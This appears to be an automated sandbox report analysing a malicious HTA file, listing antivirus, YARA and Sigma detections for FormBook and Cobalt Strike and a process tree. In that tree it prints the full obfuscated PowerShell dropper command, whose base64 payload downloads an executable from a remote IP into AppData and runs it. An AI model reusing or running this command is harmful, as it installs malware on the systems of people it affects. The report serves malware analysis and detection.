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Windows
Analysis Report
seemejkiss.hta
Overview
General Information
Detection
Cobalt Strike, FormBook, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected HtmlPhish44
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Writes to foreign memory regions
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- mshta.exe (PID: 5804 cmdline:
mshta.exe "C:\Users\ user\Deskt op\seemejk iss.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 6716 cmdline:
"C:\Window s\system32 \cmd.exe" "/C pOWErs hEll -EX B YpasS -nOP -W 1 -c dEviCe CredENTIaL DeplOYmEnT ; iNvOke- ExPrEssioN ($(inVOkE- EXPrESsiON ('[SysTEm. tEXt.Encod inG]'+[CHA r]58+[ChAR ]58+'UTf8. gEtSTRing( [sYStEM.Co NVeRt]'+[C HAR]58+[Ch ar]0x3a+'F RoMbasE64s tRinG('+[c hAr]0x22+' JG9ZdHRwUm 5vICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICA9ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBB REQtdFlQRS AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLU1lbWJl UmRFZmluSX Rpb04gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICdb RGxsSW1wb3 J0KCJVcmxt b04iLCAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgQ2 hhclNldCA9 IENoYXJTZX QuVW5pY29k ZSldcHVibG ljIHN0YXRp YyBleHRlcm 4gSW50UHRy IFVSTERvd2 5sb2FkVG9G aWxlKEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgQ0Nj Yk9WYixzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIHZ2 QktSVyxzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIHBi TUNmTnR4cC x1aW50ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD cVBpZ1RIQk osSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBCdFJmbm N1KTsnICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt TmFtRSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIk hmVUhiZkVL RUIiICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtbm FtRXNwYUNF ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICB3c0FNS0 5icCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLVBh c3NUaHJ1Oy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgJG9ZdHRw Um5vOjpVUk xEb3dubG9h ZFRvRmlsZS gwLCJodHRw Oi8vMTA3Lj E3NS4xMTMu MTk2LzQwMC 93aW4uZXhl IiwiJGVudj pBUFBEQVRB XHdpbm5pdC 5leGUiLDAs MCk7U3RBcn Qtc0xlRVAo Myk7SUkgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC IkRW5WOkFQ UERBVEFcd2 lubml0LmV4 ZSI='+[Cha r]0X22+')) ')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4180 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3472 cmdline:
pOWErshEll -EX BYpa sS -n OP -W 1 -c dEviCeCre dENTIaLDep lOYmEnT ; iNvOke-ExP rEssioN($( inVOkE-EXP rESsiON('[ SysTEm.tEX t.EncodinG ]'+[CHAr]5 8+[ChAR]58 +'UTf8.gEt STRing([sY StEM.CoNVe Rt]'+[CHAR ]58+[Char] 0x3a+'FRoM basE64stRi nG('+[chAr ]0x22+'JG9 ZdHRwUm5vI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CA9ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBBREQ tdFlQRSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U1lbWJlUmR FZmluSXRpb 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICdbRGx sSW1wb3J0K CJVcmxtb04 iLCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQ2hhc lNldCA9IEN oYXJTZXQuV W5pY29kZSl dcHVibGljI HN0YXRpYyB leHRlcm4gS W50UHRyIFV STERvd25sb 2FkVG9GaWx lKEludFB0c iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgQ0NjYk9 WYixzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIHZ2Qkt SVyxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIHBiTUN mTnR4cCx1a W50ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBDcVB pZ1RIQkosS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB CdFJmbmN1K TsnICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtTmF tRSAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIkhmV UhiZkVLRUI iICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtbmFtR XNwYUNFICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB 3c0FNS05ic CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLVBhc3N UaHJ1OyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgJ G9ZdHRwUm5 vOjpVUkxEb 3dubG9hZFR vRmlsZSgwL CJodHRwOi8 vMTA3LjE3N S4xMTMuMTk 2LzQwMC93a W4uZXhlIiw iJGVudjpBU FBEQVRBXHd pbm5pdC5le GUiLDAsMCk 7U3RBcnQtc 0xlRVAoMyk 7SUkgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICIkR W5WOkFQUER BVEFcd2lub ml0LmV4ZSI ='+[Char]0 X22+'))')) )" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 4796 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\5zyziwbf \5zyziwbf. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 1120 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S3925.tmp" "c:\Users \user\AppD ata\Local\ Temp\5zyzi wbf\CSCADB 73B4CC47C4 0A8804A92B 1B0BD1E62. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - winnit.exe (PID: 7060 cmdline:
"C:\Users\ user\AppDa ta\Roaming \winnit.ex e" MD5: A97987DF137D1328F00AA6B81EBA4957) - svchost.exe (PID: 3292 cmdline:
"C:\Users\ user\AppDa ta\Roaming \winnit.ex e" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |